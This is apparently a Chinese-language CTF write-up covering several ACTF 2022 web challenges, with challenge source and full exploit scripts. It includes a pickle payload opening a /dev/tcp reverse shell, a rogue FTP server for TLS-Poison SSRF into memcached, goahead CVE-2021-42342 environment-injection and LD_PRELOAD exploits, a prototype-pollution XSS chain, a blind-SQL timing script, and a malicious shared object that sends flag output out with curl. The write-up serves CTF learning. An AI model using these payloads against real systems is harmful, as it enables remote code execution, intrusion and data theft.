ToLeSion 考点:TLS Posion攻击,FTP被动SSRF,pymemcached的pickled反序列化 可以说是buff叠满了这一题XD 然后题解过程也是尼玛及其复杂 这里我就是不想复现了,就来说一下思路:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from flask import Flask, request, redirectfrom flask_session import Sessionfrom io import BytesIOimport memcacheimport pycurlimport randomimport stringapp = Flask(__name__) app.debug = True app.secret_key = '' .join(random.choice(string.ascii_uppercase + string.digits) for _ in range (56 )) app.config['SESSION_TYPE' ] = 'memcached' app.config['SESSION_PERMANENT' ] = True app.config['SESSION_USE_SIGNER' ] = False app.config['SESSION_KEY_PREFIX' ] = 'actfSession:' app.config['SESSION_MEMCACHED' ] = memcache.Client(['127.0.0.1:11200' ]) Session(app) @app.route('/' ) def index (): buffer=BytesIO() if request.args.get('url' ): url = request.args.get('url' ) c = pycurl.Curl() c.setopt(c.URL, url) c.setopt(c.FTP_SKIP_PASV_IP, 0 ) c.setopt(c.WRITEDATA, buffer) blacklist = [c.PROTO_DICT, c.PROTO_FILE, c.PROTO_FTP, c.PROTO_GOPHER, c.PROTO_HTTPS, c.PROTO_IMAP, c.PROTO_IMAPS, c.PROTO_LDAP, c.PROTO_LDAPS, c.PROTO_POP3, c.PROTO_POP3S, c.PROTO_RTMP, c.PROTO_RTSP, c.PROTO_SCP, c.PROTO_SFTP, c.PROTO_SMB, c.PROTO_SMBS, c.PROTO_SMTP, c.PROTO_SMTPS, c.PROTO_TELNET, c.PROTO_TFTP] allowProtos = c.PROTO_ALL for proto in blacklist: allowProtos = allowProtos&~(proto) c.setopt(c.PROTOCOLS, allowProtos) c.perform() c.close() return buffer.getvalue().decode('utf-8' ) else : return redirect('?url=http://www.baidu.com' ,code=301 ) if __name__ == '__main__' : app.run(host='0.0.0.0' , debug=False )
一眼丁真就是SSRF,起了个memcached缓存,这个我们在之前的文章见到过,因此很清楚,然后ban掉了几个协议留下来的只有HTTP,FTP等等,那这里我们需要利用的也就是FTP协议进行SSRF攻击,进而RCE了
标题的ToLeSion,大写字母TLS。
memcached——经典TLS-Poison受害者。
pycurl几乎禁用了所有的协议唯独没有禁用FTPS。
设置FTP_SKIP_PASV_IP为0。ftp-skip-pasv-ip设置了curl不要使用被动模式下服务器提供的ip和端口,这个设置在curl 7.74.0版本之后默认是开启的,这里显式设置为0也是一个很强的暗示。
很明显,我们需要使用ftps打TLS-Poison,ssrf写memcached。 以下参考葵师傅的文章:https://amiaaaz.github.io/2022/07/07/actf2022-wp/#tolesion (我太懒了对不起)先简单了解一下 TLS Poison: 根据我们对 TLS 连接过程的了解,不论在 TLS 1.2 或是 1.3 中都会使用类似 cookie 的 32 位 sessionID 来验证客户端的身份,这个凭据由服务端下发至客户端,服务端不保存,当客户端 HTTPS 访问站点时服务端会对其进行解密;此时如果我们有一个恶意的服务器,向客户端分发特制的凭据,客户端就会把这个凭据存储起来 在实际进行 HTTPS 请求之前,客户端需要对域名进行 DNS 查询,如果 DNS 缓存过期则会再进行一次 DNS 查询,如果没有过期,很容易联想到 DNS 重绑定 第一次请求时返回指向我们恶意服务器的 IP,使第一次 TLS 握手成功 客户端缓存恶意的凭据,在第二次请求需要恢复会话时发起第二次 DNS 请求,此时返回重绑定的结果 127.0.0.1,当客户端恢复会话时客户端会用我们恶意服务器下发的凭据与 127.0.0.1 尝试 TLS 握手,也就是说对内网地址进行一次请求 有一张很直观的图可以辅助理解
简单来说,当客户端使用ftps://ip:port/访问ftp服务器,ftp服务器在被动模式下向客户端指定数据传输的ip和端口,客户端连接服务器该ip和端口时会重用第一次连接的相关信息,这里就导致了ssrf。 针对TLS-Poison的利用,这里推荐一下这个github仓库:https://github.com/jmdx/TLS-Poison。 我们可以用它来实现TLS层的解析,通过下面的命令监听8000端口并将tls解析之后应用层的内容转发给1234端口:target/debug/custom-tls -p 8000 --verbose --certs /etc/letsencrypt/live/<your_domain>/fullchain.pem --key /etc/letsencrypt/live/<your_domain>/privkey.pem forward 1234
使用redis设置payload:set payload "\r\nset actfSession:whatever 0 0 <len>\n(S'/bin/bash -c \"/bin/bash -i >& /dev/tcp/<your_domain>/8080 0>&1\"'\nios\nsystem\n.\r\n"
经过8000端口的解析,转发到1234端口的内容就是普通的ftp请求了。在1234端口开启一个被动模式返回ip和端口是ssrf目标的ftp服务即可,针对本题就是127.0.0.1的11200端口:python3 FTPserverForTLSpoison.py 1234 127.0.0.1 11200
控制目标机访问ftps://:8000/,即可触发上述TLS-Poison流程,向memcached写入序列化字符串。 最后监听8080端口,使用上述写入的session访问网站即可触发反序列化getshell。 这里附赠题解EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 import socketserver, threading,sys''' Usage: python3 exp.py local_port target_ip target_port ''' lport = int (sys.argv[1 ]) raddr = sys.argv[2 ].replace('.' , ',' ) rport = int (sys.argv[3 ]) t1=int (rport/256 ) t2=rport%256 class MyTCPHandler (socketserver.StreamRequestHandler): def handle (self ): print ('[+] connected' , self.request, file=sys.stderr) self.request.sendall(b'220 (vsFTPd 3.0.3)\r\n' ) self.data = self.rfile.readline().strip().decode() print (self.data, file=sys.stderr,flush=True ) self.request.sendall(b'230 Login successful.\r\n' ) self.data = self.rfile.readline().strip().decode() print (self.data, file=sys.stderr) self.request.sendall(b'200 yolo\r\n' ) self.data = self.rfile.readline().strip().decode() print (self.data, file=sys.stderr) self.request.sendall(b'200 yolo\r\n' ) self.data = self.rfile.readline().strip().decode() print (self.data, file=sys.stderr) self.request.sendall(b'257 "/" is the current directory\r\n' ) self.data = self.rfile.readline().strip().decode() print (self.data, file=sys.stderr) self.request.sendall(f'227 Entering Passive Mode ({raddr} ,{t1} ,{t2} )\r\n' .encode()) self.data = self.rfile.readline().strip().decode() print (self.data, file=sys.stderr) self.request.sendall(f'227 Entering Passive Mode ({raddr} ,{t1} ,{t2} )\r\n' .encode()) self.data = self.rfile.readline().strip().decode() print (self.data, file=sys.stderr) self.request.sendall(b'200 Switching to Binary mode.\r\n' ) self.data = self.rfile.readline().strip().decode() print (self.data, file=sys.stderr) self.request.sendall(b'125 Data connection already open. Transfer starting.\r\n' ) self.data = self.rfile.readline().strip().decode() print (self.data, file=sys.stderr) self.request.sendall(b'250 Requested file action okay, completed.' ) exit() def ftp_worker (): with socketserver.TCPServer(('0.0.0.0' , lport), MyTCPHandler) as server: while True : server.handle_request() threading.Thread(target=ftp_worker).start()
有关证书的获取参考:https://blog.zeddyu.info/2021/04/20/tls-poison/ 陆队的文章里直接搜索证书就好了,这文章牛魔3w字起步 然后找个时间打算把FTP进行SSRF的点写一篇文章总结一下,这个星期之内把文章憋出来
gogogo 考点:goahead CVE-2021-42342、环境变量注入https://www.leavesongs.com/PENETRATION/goahead-en-injection-cve-2021-42342.html 看p文,是一种享受,在这里涉及到了一个goahead的漏洞,在这漏洞中我们可以进行任意的环境变量注入,但前提是发包为POST的multiple类型的数据包,其实早在2017年goahead也有过环境变量注入 之前在写PHP的时候也解出过一些环境变量注入,具体可以参考:https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html 所以,之后我们遇到环境变量注入,可以进行下列三种测试:
Bash没有修复ShellShock漏洞:直接使用ShellShock的POC进行测试,例如TEST=() { :; }; id;
Bash 4.4以前:env $’BASH_FUNC_echo()=() { id; }’ bash -c “echo hello”
Bash 4.4及以上:env $’BASH_FUNC_echo%%=() { id; }’ bash -c ‘echo hello’
在CentOS系系统下完美解决本文开头提到的问题,通杀所有Bash。
1 2 3 4 5 6 7 8 import requestspayload = { "BASH_FUNC_env%%" :(None ,"() { cat /flag; exit; }" ), } r = requests.post("http://127.0.0.1:7788/cgi-bin/hello" ,files=payload) print (r.text)
方式二,就是通过上传so文件,然后劫持包含LD_PRELOAD选项,最后触发反弹shellRCE:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import requests, randomfrom concurrent import futuresfrom requests_toolbelt import MultipartEncoderhack_so = open ('hack.so' ,'rb' ).read() def upload (url ): m = MultipartEncoder( fields = { 'file' :('1.txt' , hack_so,'application/octet-stream' ) } ) r = requests.post( url = url, data=m, headers={'Content-Type' : m.content_type} ) def include (url ): m = MultipartEncoder( fields = { 'LD_PRELOAD' : '/proc/self/fd/7' , } ) r = requests.post( url = url, data=m, headers={'Content-Type' : m.content_type} ) def race (method ): url = 'http://localhost:10218/cgi-bin/hello' if method == 'include' : include(url) else : upload(url) def main (): task = ['upload' ,'include' ] * 1000 random.shuffle(task) with futures.ThreadPoolExecutor(max_workers=5 ) as executor: results = list (executor.map (race, task)) if __name__ == "__main__" : main()
或者:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import sysimport socketimport sslimport randomfrom urllib.parse import urlparse, ParseResultPAYLOAD_MAX_LENGTH = 16384 - 200 def exploit (client, parts: ParseResult, payload: bytes ): path = '/' if not parts.path else parts.path boundary = '----%s' % str (random.randint(1000000000000 , 9999999999999 )) padding = 'a' * 2000 content_length = min (len (payload) + 500 , PAYLOAD_MAX_LENGTH) data = fr'''POST {path} HTTP/1.1 Host: {parts.hostname} Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Connection: close Content-Type: multipart/form-data; boundary={boundary} Content-Length: {content_length} --{boundary} Content-Disposition: form-data; name="LD_PRELOAD"; /proc/self/fd/7 --{boundary} Content-Disposition: form-data; name="data"; filename="1.txt" Content-Type: text/plain #payload#{padding} --{boundary} -- ''' .replace('\n' , '\r\n' ) data = data.encode().replace(b'#payload#' , payload) client.send(data) resp = client.recv(20480 ) print (resp.decode()) def main (): target = sys.argv[1 ] payload_filename = sys.argv[2 ] with open (payload_filename, 'rb' ) as f: data = f.read() if len (data) > PAYLOAD_MAX_LENGTH: raise Exception('payload size must not larger than %d' , PAYLOAD_MAX_LENGTH) parts = urlparse(target) port = parts.port if not parts.port: if parts.scheme == 'https' : port = 443 else : port = 80 context = ssl.create_default_context() with socket.create_connection((parts.hostname, port), timeout=8 ) as client: if parts.scheme == 'https' : with context.wrap_socket(client, server_hostname=parts.hostname) as ssock: exploit(ssock, parts, data) else : exploit(client, parts, data) if __name__ == '__main__' : main()
用法是python exp.py http://target [path of so.file]
直接反弹shell,这里提一嘴,windows的docker对于复现漏洞,有时候可能还是比较抽象的,比如这个windows的docker就复刻不了,cgi服务器会报500的错误,我猜测这应该是端口占用之类的原因吧,所以说还是有弊有利的windows docker 但是大部分时间还是不会抽风的(呜呜呜windows你能不能支棱起来啊)
poorui 考点:websockets,xss,原型链污染 借这个题学了一波websockets:https://www.ruanyifeng.com/blog/2017/05/websocket.html 这一题也是出现了十分严重的非预期,首先看看bot的行为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import WebSocket from "ws " ;import { FLAG , WS_SERVER } from "./config.js" ;import { isJson } from "./util.js" ;const conn = new WebSocket (WS_SERVER )const username = 'flagbot' const handleLogin = ( ) => { conn.send (JSON .stringify ({ api : "login" , username : username })) } const handleGetFlag = (from ) => { console .log ('[getflag]' , from ) if (from === 'admin' ){ conn.send (JSON .stringify ({ api : 'sendflag' , flag : FLAG , to : from })) } } const handleList = (list ) => { console .log (list) } const handleMsg = (msg ) => { switch (msg.api ){ case "login" : handleLogin () break case "list" : handleList (msg.peers ) break case "getflag" : if (msg.from ) handleGetFlag (msg.from ) break default : console .log ("unknown api" , msg.api ) } } conn.onopen = () => { const msg = { api : "ping" , data : "hello world" } conn.send (JSON .stringify (msg)) conn.send (JSON .stringify ({api : "list" })) } conn.on ('message' , msg => { console .log ('[onmessage]' , msg.toString ()) if (isJson (msg)){ handleMsg (JSON .parse (msg)) } })
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import puppeteer from "puppeteer" ;const SERVER_URL = 'http://localhost:8081/chat' ;const USERNAME = 'admin' ;(async () => { const browser = await puppeteer.launch ({ headless : process.env .DEBUG ?? true }); const page = await browser.newPage () await page.goto (SERVER_URL ) await page.type ('#username' , USERNAME ) await page.click ('#btn-login' ) page.on ('load' , () => { console .log (page.url ()) if (page.url () !== SERVER_URL ){ setTimeout (async () => { await page.goto (SERVER_URL ) await page.type ('#username' , USERNAME ) await page.click ('#btn-login' ) }, 3000 ); } }) })();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 import { WebSocketServer } from "ws" ;import express from "express" ;import { createServer } from "http" ;import bodyParser from 'body-parser' import fs from 'fs' ;import { v4 as uuidv4 } from 'uuid' ;import path from "path" ;import { PORT , LISTEN } from "./config.js" ;import { fileURLToPath } from "url" ;const __filename = fileURLToPath (import .meta .url )const __dirname = path.dirname (__filename)const app = express ()const http = createServer (app)const TPL_PATH = './tpls' app.use (bodyParser.json ()) app.use (express.static (path.join (__dirname, 'public' ))) app.get ('/hello' , (req, res ) => { res.send ("hello world" ); }) app.post ('/tplCreate' , (req, res ) => { const tpl = req.body .tpl if (!tpl){ res.send ('no tpl field specified!' ) return } const tplName = uuidv4 () + '.tpl' fs.writeFile (path.join (TPL_PATH , tplName), tpl, () => { res.json ({ 'tplID' : tplName }) }) }) app.get ('/tplView' , (req, res ) => { const tplName = req.query .tpl if (!tplName || !tplName.endsWith ('.tpl' )){ res.send ('wrong tpl id!' ) return } res.header ('Content-Type' , 'text/html' ) res.sendFile (path.join (__dirname, TPL_PATH , tplName), (err ) => { if (err) res.send (err) }) }) app.get ('/tplList' , (req, res ) => { res.json (fs.readdirSync (TPL_PATH )) }) app.get ('*' , (req, res ) => { res.sendFile (path.join (__dirname, 'public' , 'index.html' )); }); const wss = new WebSocketServer ({ server : http })const clients = new Map ()const ws2username = new Map ()const username2ws = new Map ()const sendWarning = (ws, warning ) => { ws.send (JSON .stringify ({ api : 'warning' , warning : warning })) } const apiPing = (ws ) => { ws.send ('pong' ) }const apiList = (ws ) => { ws.send (JSON .stringify ({ api : 'list' , peers : Array .from (username2ws.keys ()) })) } const apiSendmsg = (ws, content, to ) => { if (!username2ws.has (to)){ return } if (content.type == 'tpl' ){ let tplfile = path.join (TPL_PATH , content.data .tpl ) if (!tplfile.endsWith ('.tpl' )){ tplfile += '.tpl' } content.data .tpl = fs.existsSync (tplfile) ? fs.readFileSync (tplfile).toString () : '***' } username2ws.get (to).send (JSON .stringify ({ api : "message" , from : ws2username.get (ws), content : content })) } const apiLogin = (ws, username ) => { console .log (username) ws2username.set (ws, username) if (username2ws.has (username)){ console .log (username, "logged in already" ) sendWarning (ws, 'username already used!' ) ws.close () return } username2ws.set (username, ws) ws.send (`Now you are ${username} ` ) } const apiSendFlag = (ws, flag, to ) => { username2ws.get (to).send (JSON .stringify ({ api : "flag" , flag : flag })) } const apiGetFlag = (ws ) => { username2ws.get ('flagbot' ).send (JSON .stringify ({ api : "getflag" , from : ws2username.get (ws) })) } const handleMsg = (msg, ws ) => { switch (msg.api ){ case "login" : apiLogin (ws, msg.username ) break case "ping" : apiPing (ws) break case 'list' : apiList (ws) break case 'sendmsg' : apiSendmsg (ws, msg.msg , msg.to ) break case 'sendflag' : apiSendFlag (ws, msg.flag , msg.to ) break case 'getflag' : apiGetFlag (ws) break default : console .log ('unknown api' ) } } const handleConn = (ws, addr ) => { ws.send (JSON .stringify ({ api : "login" })) setTimeout (() => { if (!ws2username.has (ws)) ws.close () }, 5000 ) ws.on ('message' , msg => { const data = JSON .parse (msg) console .log (data) handleMsg (data, ws) }) ws.on ('close' , () => { const username = ws2username.get (ws) console .log (addr, username, "closed" ) clients.delete (addr) username2ws.delete (username) ws2username.delete (ws) }) ws.on ('ping' , () => { ws.send ('pong' ) console .log ('ping' ) }) } wss.on ('connection' , (ws, req ) => { const { remoteAddress :host, remotePort :port } = req.socket console .log (host, port) clients.set (`${host} :${port} ` , ws) handleConn (ws, `${host} :${port} ` ) }) http.listen (PORT , LISTEN , () => { console .log (`listening on ${LISTEN} :${PORT} ` ); });
一共有2个bot和一个服务端,服务端就是对请求进行处理,adminbot就是停留在chat界面的一个bot,被xss的: 这里对text类型的数据进行了过滤,不能xss,在F12可以看出这是一个react写的web,并且源码可见: 这里可以利用图片进行xss,然后强行让admin用户跳转下线,我们登录admin账户调用api获取flag,但是首先this.props.allowImage && attrs.wow
要为true,因此还需要进行原型链污染,审计员吗可以得知该js调用了lodash库,存在原型链污染: 在对tpl进行渲染时调用了merge,其中第二个参数就是tpl页面的内容,我们可控,因此思路很清晰 flagbot里面设置了主要的api,flag对应的api是getflag,只要调用该websockets的getflag api就可以立马获取flag,但是首先需要通过一个判断: if(from === 'admin')
,其实这个好说,不就是websockes请求时发时发送一个from=admin吗,因此这一题出现了严重的非预期,这是因为没有对admin登录进行处理,我们只需要:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 const ws = new WebSocket ("ws://127.0.0.1:8081" )ws.on ("message" , data => { try { data = JSON .parse (data) } catch { return console .log (new Date (), data.toString ()) } switch (data.api ) { case "login" : getFlag () } function getFlag ( ) { console .log ("get flag" ) setTimeout (() => { ws.send (JSON .stringify ({ api : "login" , username : 'admin' })) const payload = { api : "getflag" , } ws.send (JSON .stringify (payload)) }, 1000 ) }
运行后flag就出来了:
但是我们追求预期解法,预期解法就是利用tpl原型链污染,污染allowimage属性,从而可以上传img图像,然后利用img xss让admin界面随便跳转下线,我们上号获取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 const { WebSocket } = require ("ws" )const code = `window.location.href = 'https://www.baidu.com'` const ws = new WebSocket ("ws://127.0.0.1:8081" )ws.on ("message" , data => { try { data = JSON .parse (data) } catch { return console .log (new Date (), data.toString ()) } switch (data.api ) { case "login" : doLogin () } console .log (new Date (), "message" , data) }) ws.on ("open" , () => { setTimeout (() => { prototypePollution () sendImage () getFlag () }, 1000 ) }) function doLogin ( ) { ws.send (JSON .stringify ({ api : "login" , username : "admin" })) } function prototypePollution ( ) { const payload = { api : "sendmsg" , to : "admin" , msg : { type : "tpl" , data : { tpl : "test.tpl" , ctx : '{ "constructor": { "prototype": { "allowImage": true } } }' } } } ws.send (JSON .stringify (payload)) } function sendImage ( ) { console .log ("send image" ) const payload = { api : "sendmsg" , to : "admin" , msg : { type : "image" , data : { src : "http://www.baidu.com" , attrs : '{"id":"x","tabindex":1,"is":"focus","autofocus":true,"wow":true,"onfocus":"eval(atob(`' + Buffer .from (code).toString ("base64" ) + '`))"}' , } } } ws.send (JSON .stringify (payload)) } function getFlag ( ) { console .log ("get flag" ) setTimeout (() => { ws.send (JSON .stringify ({ api : "login" , username : 'admin' })) const payload = { api : "getflag" , } ws.send (JSON .stringify (payload)) }, 1000 ) }
myclient 考点:mysql_options可控,mysql加载恶意so
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php $con = mysqli_init (); $key = $_GET ['key' ]; $value = $_GET ['value' ]; if (strlen ($value ) > 1500 ){ die ('too long' ); } if (is_numeric ($key ) && is_string ($value )) { mysqli_options ($con , $key , $value ); } mysqli_options ($con , MYSQLI_OPT_LOCAL_INFILE, 0 ); if (!mysqli_real_connect ($con , "127.0.0.1" , "test" , "test123456" , "mysql" )) { $content = 'connect failed' ; } else { $content = 'connect success' ; } mysqli_close ($con ); echo $content ; ?>
其实这一题和TQLCTF中的SQL_TEST一模一样: 不同点是TQLCTF中用的是phar反序列化去RCE,我们这是用恶意so文件进行RCE 在这里我们可控的参数就是key和value,在mysqli_options选项中使用到了,先看看这个选项有什么: 其中注意一个MYSQLI_INIT_COMMAND,这个选项可以让我们在建立mysql连接时,执行一条自定义的语句,也就是可控value指定的,那么我们就可以执行任意SQL语句了 正常情况的话,这样我们是可以写shell到网站目录下的,我们可以尝试一下: 这里延时了5s(3就是MYSQLI_INIT_COMMAND的值),说明执行指令是成功的,只是没有回显,我们再试试写shell: 提示我们有--secure-file-priv
选项,这个选项会限制我们读写的文件,因此我们现在要做的是确定这个限制的文件夹位置,写个脚本盲注一下: 我们可以通过select @@global.secure_file_priv
确定文件夹:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import jsonimport timeimport requestsurl = "http://localhost:10047/index.php?key=3&value=" result = '' i = 0 while True : i = i + 1 head = 1 tail = 128 while head < tail: mid = (head + tail) >> 1 payload=f"select if(ascii(substr((select @@global.secure_file_priv),{i} ,1))>{mid} ,sleep(0.2),0)" t1=time.time() r=requests.get(url=url+payload) t2=time.time() print (t2-t1) if t2-t1>0.2 : head = mid + 1 else : tail = mid if head != 1 : result += chr (head) else : break print (result)
得到secure_file_priv后,我们就可以进行下一步的操作,也就是将so文件写入,然后通过MYSQLI_READ_DEFAULT_FILE
更改配置文件目录: 先准备一个恶意的mysql配置库: 恶意so:
1 2 3 4 5 6 7 8 9 10 #define _GNU_SOURCE #include <stdlib.h> __attribute__ ((__constructor__)) void preload (void ) { system("/readflag | curl -XPOST http://192.168.0.107:8888/ -d @-" ); }
然后将恶意so转为十六进制,这个我们可以利用本地mysql使用select hex(load_file("path")) into outfile "xxx"
即可 然后准备一手恶意cnf配置文件:
1 2 3 4 5 6 [client] plugin_dir=/tmp/e10adc3949ba59abbe56e057f20f883e default_auth=evil450 default_authentication_plugin = evil450 default_authentication = evil450 init-command=SELECT 0x[恶意SO十六进制] INTO DUMPFILE "/tmp/e10adc3949ba59abbe56e057f20f883e/evil450.so" ;
最后将该文件进行上述一样的操作转为十六进制文件。最后写一个py脚本写入服务器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 import jsonimport time import requests url = "http://localhost:10047/index.php?key=3&value=" import requests url = "http://127.0.0.1:10047/index.php" payload = [] with open("out2.txt" ,"r" ) as f: file_data = f.read() i = 0 j = 0 while i < len(file_data): if i + 1000 > len(file_data): values = file_data[i:] else: values = file_data[i:i + 1000 ] i = i + 1000 j = j + 1 payload+=[values] print(len(payload)) length = int(500 ) filenames = [] i=0 for v in payload: filename = "/tmp/e10adc3949ba59abbe56e057f20f883e/ROIS" +str(i) filenames += [filename] sql = "select 0x" +v+" into outfile '" +filename+"'" print(sql) i+=1 params = { "key" : 3, "value" : sql } resp = requests.get(url,params) print(resp.text) sqlinit = "select 0x" +payload[1 ]+" into outfile '/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp1'" params = { "key" : 3, "value" : sqlinit } resp = requests.get(url,params) i=1 for v in filenames: if i==len(filenames)-1 : break sql2 = "select concat_ws('',(select substr(load_file('/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp" +str(i)+"'),1," +str(length*(i))+")),(select substr(load_file('" +filenames[i+1 ]+"'),1," +str(length)+"))) into outfile '/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp" +str(i+1 )+"';" print(sql2) params = { "key": 3, "value": sql2 } resp = requests.get(url, params) i += 1 sqlinit = "select concat_ws('',(select substr(load_file('/tmp/e10adc3949ba59abbe56e057f20f883e/ROIS0'),1,505)),(select substr(load_file('/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp62'),1,30525))) into outfile '/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp63.cnf';" params = { "key" : 3, "value" : sqlinit } resp = requests.get(url,params) requests.get(url+"?key=4&value=/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp63.cnf" ) requests.get(url+"?key=4&value=/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp63.cnf" )
这里需要注意一下这个py脚本需要自己手动调一下,在注释部分说了,有可能文件大小和py脚本一样,这时候就需要自己手动调整一下ROIStmpxxx
后面的数字 在这里遇到了个小问题就是load_file为null,这是my.cnf文件没有配置secure_priv选项
其实这一题还有一个比较有意思的思路,就是完全仿照TQLCTF的思路,自己手动传个phar上去,然后再更改密码或者是FULSH PRIVILEGES触发phar反序列化,这里可以参考葵的尝试:https://amiaaaz.github.io/2022/07/07/actf2022-wp/#myclient 还是比较好玩的好吧
BeWhatYouWannaBe 考点:DOM破坏 三个源码文件,都是js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 const app = require ('express' )()const bodyParser = require ('body-parser' )const session = require ('express-session' )const admin = require ('./admin' )const mongoose = require ('mongoose' )const rand = require ('string-random' )const crypto = require ('crypto' )const LISTEN = '0.0.0.0' const PORT = 8000 const config = require ('./config' )const FLAG = config.FLAG const FAKE_FLAG = config.FAKE_FLAG const MONGO_URL = 'mongodb://mongodb:27017/ctf' const SECRET = rand (32 , '0123456789abcdef' )const ValidateToken = (Token ) => { var sha256 = crypto.createHash ('sha256' ); return sha256.update (Math .sin (Math .floor (Date .now () / 1000 )).toString ()).digest ('hex' ) === Token ; } mongoose.connect (MONGO_URL ) const User = mongoose.model ("users" , new mongoose.Schema ({ username : String , password : String , isAdmin : Boolean })) app.set ('view engine' , 'ejs' ) app.use (session ({ secret : SECRET , resave : false , saveUninitialized : true , cookie : { secure : false }, })) app.use (bodyParser.urlencoded ({ extended : false })) app.use (bodyParser.json ()) app.get ('/' , (req, res ) => { res.send ('hello world' ) }) app.get ('/login' , (req, res ) => { res.render ('login' , {}) }) app.post ('/admin' , (req, res ) => { let url = req.body .url ? req.body .url : 'http://pumpk1n.com' admin.view (url) .then (() => { res.send (url) }) .catch (e => { res.send (e) }) }) app.get ('/home' , (req, res ) => { if (!req.session .user ) { res.redirect ('/login' ) return } res.render ('home' , { user : req.session .user }) }) app.post ('/login' , (req, res ) => { let username = req.body .username let password = req.body .password console .log ("login" , username, password) if (typeof username !== 'string' || typeof password !== 'string' ) { res.render ('login' , { error : "wafed" }) return } User .find ({ username : username, password : password }, (err, user ) => { if (err) { res.render ('login' , { error : err }) return } if (user.length > 0 ) { req.session .user = username res.redirect ('home' ) } else { res.render ('login' , { error : "login failed" }) } }) }) app.get ('/register' , (req, res ) => { res.render ('register' , {}) }) app.post ('/register' , (req, res ) => { let username = req.body .username let password = req.body .password if (typeof username !== 'string' || typeof password !== 'string' ) { res.render ('login' , { error : "wafed" }) return } const newuser = new User ({ username : username, password : password, isAdmin : false }) User .find ({ username : username }, (err, user ) => { if (err) { res.render ('register' , { error : err }) return } if (user.length > 0 ) { res.render ('register' , { error : "user already exists!" }) } else { newuser.save () res.redirect ('login' , 302 ) } }) }) app.post ('/beAdmin' , (req, res ) => { if (req.session .user != 'admin' ) { res.send ("sorry, only admin can be admin" ) return } const username = req.body .username const csrftoken = req.body .csrftoken if (ValidateToken (csrftoken)) { User .updateMany ({ username : username }, { isAdmin : true }, (err, users ) => { if (err) { res.send ('something error when being admin' ) return } if (users.length == 0 ) { res.send ('no one can be admin' ) } else { res.send ('wow success wow' ) } } ) } else { res.send ('validate error' ) } }) app.get ('/flag' , (req, res ) => { if (!req.session .user ) { res.send (FAKE_FLAG ) return } User .findOne ({ username : req.session .user }, (err, user ) => { if (err) { res.send ({ err : err }) return } if (user.isAdmin ) { res.send (FLAG .substring (0 , 16 )) } else { res.send (FAKE_FLAG ) } }) }) app.listen (PORT , LISTEN , () => { console .log (`listening ${LISTEN} :${PORT} ...` ) })
